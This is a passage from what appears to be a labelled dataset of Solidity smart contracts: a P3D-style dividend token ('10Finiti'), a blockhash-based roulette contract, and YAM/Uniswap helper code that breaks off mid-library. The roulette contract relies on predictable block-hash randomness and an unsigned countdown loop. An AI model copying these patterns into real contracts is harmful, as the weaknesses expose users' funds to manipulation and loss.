(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,276 |
pragma solidity ^0.4.25;
contract AcceptsExchange {
tenfiniti public tokenContract;
function AcceptsExchange(address _tokenContract) public {
tokenContract = tenfiniti(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
function tokenFallbackExpanded(address _from, uint256 _value, bytes _data, address _sender, address _referrer) external returns (bool);
}
contract tenfiniti {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0 || ownerAccounts[msg.sender] > 0);
_;
}
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
modifier allowPlayer(){
require(boolAllowPlayer);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier onlyActive(){
require(boolContractActive);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
(ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_) ||
(_customerAddress == manager)
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event onJackpot(
address indexed customerAddress,
uint indexed value,
uint indexed nextThreshold
);
event dailyPay(
uint percent,
uint256 amount
);
string public name = "10Finiti";
string public symbol = "∞";
uint8 constant public decimals = 18;
uint256 constant internal tokenPriceInitial_ = 0.000000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.0000000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 internal ambassadorMaxPurchase_ = 2 ether;
uint256 internal ambassadorQuota_ = 100 ether;
address manager;
bool public boolAllowPlayer = false;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => uint) internal ownerAccounts;
uint public payoutFee = 840;
uint public dailyPayoutPool = 0;
uint public payPeriod = 5900;
bool boolAllowPayout = true;
uint public lastPayoutBlock;
uint public lastPayoutAmount = 0;
uint payoutPercent = 100;
bool boolVariablePercent = false;
uint public buyDividendFee_ = 333;
uint public sellDividendFee_ = 333;
bool public boolContractActive = false;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
mapping(address => bool) public canAcceptTokens_;
uint public jackpotThreshold = 10 ether;
uint public jackpotAccount = 0;
uint public jackpotFeeRate = 0;
uint public jackpotPayRate = 1000;
uint public jackpotThreshIncrease = 10 ether;
uint managerFee = 60;
function tenfiniti()
public
{
administrators[msg.sender] = true;
manager = msg.sender;
lastPayoutBlock = block.number;
}
function dailyPayout()
internal
{
if ((block.number > lastPayoutBlock + payPeriod) && boolAllowPayout){
uint dividendsPaid = SafeMath.div(SafeMath.mul(dailyPayoutPool, payoutPercent),1000);
dailyPayoutPool = SafeMath.sub(dailyPayoutPool,dividendsPaid);
profitPerShare_ += (dividendsPaid * magnitude / (tokenSupply_));
emit dailyPay(payoutPercent, dividendsPaid);
lastPayoutAmount = dividendsPaid;
lastPayoutBlock = block.number;
}
}
function checkDailyPayout()
public
{
dailyPayout();
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress] + ownerAccounts[_customerAddress];
referralBalance_[_customerAddress] = 0;
ownerAccounts[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress] + ownerAccounts[_customerAddress];
referralBalance_[_customerAddress] = 0;
ownerAccounts[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, sellDividendFee_),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
dailyPayout();
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
uint8 localDivFee = 200;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, localDivFee),1000);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
dailyPayout();
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setExchangeRates(uint _newBuyFee, uint _newSellFee)
onlyAdministrator()
public
{
require(_newBuyFee <= 400);
require(_newSellFee <= 400);
buyDividendFee_ = _newBuyFee;
sellDividendFee_ = _newSellFee;
}
function setFeeRates(uint _newManagerFee, uint _newPayoutFee)
onlyAdministrator()
public
{
require(_newManagerFee <= 60);
require(_newManagerFee + _newPayoutFee <= 1000);
managerFee = _newManagerFee;
payoutFee = _newPayoutFee;
}
function setPayoutRate(uint _newPayoutRate)
onlyAdministrator()
public
{
require(_newPayoutRate <= 100);
require(_newPayoutRate >= 10);
payoutPercent = _newPayoutRate;
}
function setPayPeriod(uint _newPayPeriod)
onlyAdministrator()
public
{
payPeriod = _newPayPeriod;
}
function setVariablePayout(bool _boolVariablePayout)
onlyAdministrator()
public
{
boolVariablePercent = _boolVariablePayout;
}
function setAllowPayout(bool _newAllowPayout)
onlyAdministrator()
public
{
boolAllowPayout = _newAllowPayout;
}
function setContractActive(bool _status)
onlyAdministrator()
public
{
boolContractActive = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function addAmbassador(address _newAmbassador)
onlyAdministrator()
public
{
ambassadors_[_newAmbassador] = true;
}
function setJackpotFeeRate(uint256 _newFeeRate)
onlyAdministrator()
public
{
require(_newFeeRate <= 400);
jackpotFeeRate = _newFeeRate;
}
function setJackpotPayRate(uint256 _newPayRate)
onlyAdministrator()
public
{
require(_newPayRate >= 500);
jackpotPayRate = _newPayRate;
}
function setJackpotIncrement(uint256 _newIncrement)
onlyAdministrator()
public
{
require(_newIncrement >= 10 ether);
jackpotThreshIncrease = _newIncrement;
}
function setJackpotThreshold(uint256 _newTarget)
onlyAdministrator()
public
{
require(_newTarget >= (address(this).balance + jackpotAccount + jackpotThreshIncrease));
jackpotThreshold = _newTarget;
}
function setQuotas(uint _newMaxPurchase, uint _newQuota)
onlyAdministrator()
public
{
ambassadorMaxPurchase_ = _newMaxPurchase;
ambassadorQuota_ = _newQuota;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, sellDividendFee_),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, buyDividendFee_),1000);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function getData()
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
return(address(this).balance, balanceOf(msg.sender), tokenSupply_, dividendsOf(msg.sender) + ownerAccounts[msg.sender], referralBalance_[msg.sender]);
}
function getPayoutData()
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint nextPayout = SafeMath.div(SafeMath.mul(dailyPayoutPool, payoutPercent),1000);
return(lastPayoutBlock + payPeriod, lastPayoutAmount, dailyPayoutPool, lastPayoutBlock - block.number + payPeriod, nextPayout);
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, buyDividendFee_),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, sellDividendFee_),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
onlyActive()
internal
returns(uint256)
{
uint intitialValue = _incomingEthereum;
ownerAccounts[manager] = SafeMath.add(ownerAccounts[manager], SafeMath.div(SafeMath.mul(intitialValue, managerFee), 1000));
_incomingEthereum = SafeMath.sub(_incomingEthereum, SafeMath.div(SafeMath.mul(intitialValue, managerFee), 1000));
dailyPayoutPool = SafeMath.add(dailyPayoutPool, SafeMath.div(SafeMath.mul(intitialValue, payoutFee), 1000));
_incomingEthereum = SafeMath.sub(_incomingEthereum, SafeMath.div(SafeMath.mul(intitialValue, payoutFee), 1000));
uint256 _referralBonus = SafeMath.div(SafeMath.div(SafeMath.mul(_incomingEthereum, buyDividendFee_ ),1000), 3);
uint256 _dividends = SafeMath.sub(SafeMath.div(SafeMath.mul(_incomingEthereum, buyDividendFee_ ),1000), _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, SafeMath.div(SafeMath.mul(_incomingEthereum, buyDividendFee_),1000));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[msg.sender] += _updatedPayouts;
onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy);
dailyPayout();
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,030 |
pragma solidity ^0.4.23;
contract RouletteRules {
function getTotalBetAmount(bytes32 first16, bytes32 second16) public pure returns(uint totalBetAmount);
function getBetResult(bytes32 betTypes, bytes32 first16, bytes32 second16, uint wheelResult) public view returns(uint wonAmount);
}
contract OracleRoulette {
RouletteRules rouletteRules;
address developer;
address operator;
bool shouldGateGuard;
uint sinceGateGuarded;
constructor(address _rouletteRules) public payable {
rouletteRules = RouletteRules(_rouletteRules);
developer = msg.sender;
operator = msg.sender;
shouldGateGuard = false;
sinceGateGuarded = ~uint(0);
}
modifier onlyDeveloper() {
require(msg.sender == developer);
_;
}
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
modifier onlyDeveloperOrOperator() {
require(msg.sender == developer || msg.sender == operator);
_;
}
modifier shouldGateGuardForEffectiveTime() {
require(shouldGateGuard == true && (sinceGateGuarded - now) > 10 minutes);
_;
}
function changeDeveloper(address newDeveloper) external onlyDeveloper {
developer = newDeveloper;
}
function changeOperator(address newOperator) external onlyDeveloper {
operator = newOperator;
}
function setShouldGateGuard(bool flag) external onlyDeveloperOrOperator {
if (flag) sinceGateGuarded = now;
shouldGateGuard = flag;
}
function setRouletteRules(address _newRouletteRules) external onlyDeveloperOrOperator shouldGateGuardForEffectiveTime {
rouletteRules = RouletteRules(_newRouletteRules);
}
function destroyContract() external onlyDeveloper shouldGateGuardForEffectiveTime {
selfdestruct(developer);
}
function withdrawFund(uint amount) external onlyDeveloper shouldGateGuardForEffectiveTime {
require(address(this).balance >= amount);
msg.sender.transfer(amount);
}
function () external payable {}
uint BET_UNIT = 0.0002 ether;
uint BLOCK_TARGET_DELAY = 0;
uint constant MAXIMUM_DISTANCE_FROM_BLOCK_TARGET_DELAY = 250;
uint MAX_BET = 1 ether;
uint MAX_GAME_PER_BLOCK = 10;
function setBetUnit(uint newBetUnitInWei) external onlyDeveloperOrOperator shouldGateGuardForEffectiveTime {
require(newBetUnitInWei > 0);
BET_UNIT = newBetUnitInWei;
}
function setBlockTargetDelay(uint newTargetDelay) external onlyDeveloperOrOperator {
require(newTargetDelay >= 0);
BLOCK_TARGET_DELAY = newTargetDelay;
}
function setMaxBet(uint newMaxBet) external onlyDeveloperOrOperator {
MAX_BET = newMaxBet;
}
function setMaxGamePerBlock(uint newMaxGamePerBlock) external onlyDeveloperOrOperator {
MAX_GAME_PER_BLOCK = newMaxGamePerBlock;
}
event GameError(address player, string message);
event GameStarted(address player, uint gameId, uint targetBlock);
event GameEnded(address player, uint wheelResult, uint wonAmount);
function placeBet(bytes32 betTypes, bytes32 first16, bytes32 second16) external payable {
if (shouldGateGuard == true) {
emit GameError(msg.sender, "Entrance not allowed!");
revert();
}
uint betAmount = rouletteRules.getTotalBetAmount(first16, second16) * BET_UNIT;
if (betAmount == 0 || msg.value != betAmount || msg.value > MAX_BET) {
emit GameError(msg.sender, "Wrong bet amount!");
revert();
}
uint targetBlock = block.number + BLOCK_TARGET_DELAY;
uint historyLength = gameHistory.length;
if (historyLength > 0) {
uint counter;
for (uint i = historyLength - 1; i >= 0; i--) {
if (gameHistory[i].targetBlock == targetBlock) {
counter++;
if (counter > MAX_GAME_PER_BLOCK) {
emit GameError(msg.sender, "Reached max game per block!");
revert();
}
} else break;
}
}
Game memory newGame = Game(uint8(GameStatus.PENDING), 100, msg.sender, targetBlock, betTypes, first16, second16);
uint gameId = gameHistory.push(newGame) - 1;
emit GameStarted(msg.sender, gameId, targetBlock);
}
function resolveBet(uint gameId) external {
Game storage game = gameHistory[gameId];
if (game.status != uint(GameStatus.PENDING)) {
emit GameError(game.player, "Game is not pending!");
revert();
}
if (block.number <= game.targetBlock) {
emit GameError(game.player, "Too early to resolve bet!");
revert();
}
if (block.number - game.targetBlock > MAXIMUM_DISTANCE_FROM_BLOCK_TARGET_DELAY) {
game.status = uint8(GameStatus.REJECTED);
emit GameError(game.player, "Too late to resolve bet!");
revert();
}
bytes32 blockHash = blockhash(game.targetBlock);
if (blockHash == 0) {
game.status = uint8(GameStatus.REJECTED);
emit GameError(game.player, "blockhash() returned zero!");
revert();
}
game.wheelResult = uint8(keccak256(blockHash, game.player, address(this))) % 37;
uint wonAmount = rouletteRules.getBetResult(game.betTypes, game.first16, game.second16, game.wheelResult) * BET_UNIT;
game.status = uint8(GameStatus.RESOLVED);
if (wonAmount > 0) {
game.player.transfer(wonAmount);
}
emit GameEnded(game.player, game.wheelResult, wonAmount);
}
Game[] private gameHistory;
enum GameStatus {
INITIAL,
PENDING,
RESOLVED,
REJECTED
}
struct Game {
uint8 status;
uint8 wheelResult;
address player;
uint256 targetBlock;
bytes32 betTypes;
bytes32 first16;
bytes32 second16;
}
function queryGameStatus(uint gameId) external view returns(uint8) {
Game memory game = gameHistory[gameId];
return uint8(game.status);
}
function queryBetUnit() external view returns(uint) {
return BET_UNIT;
}
function queryGameHistory(uint gameId) external view returns(
address player, uint256 targetBlock, uint8 status, uint8 wheelResult,
bytes32 betTypes, bytes32 first16, bytes32 second16
) {
Game memory g = gameHistory[gameId];
player = g.player;
targetBlock = g.targetBlock;
status = g.status;
wheelResult = g.wheelResult;
betTypes = g.betTypes;
first16 = g.first16;
second16 = g.second16;
}
function queryGameHistoryLength() external view returns(uint length) {
return gameHistory.length;
}
} | 1 | 3,089 |
pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
IUniswapV2Pair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token0,
address token1_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair.getReserves();
uint256 quoted = quote(reserve1, reserve0);
uint256 amount_token1 = quoted.mul(amount_token0).div(ONE);
token0.transfer(address(uniswap_pair), amount_token0);
token1.transferFrom(
token1_source,
address(uniswap_pair),
amount_token1
);
IUniswapV2Pair(uniswap_pair).mint(address(this));
}
function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination)
internal
{
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
IUniswapV2Pair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
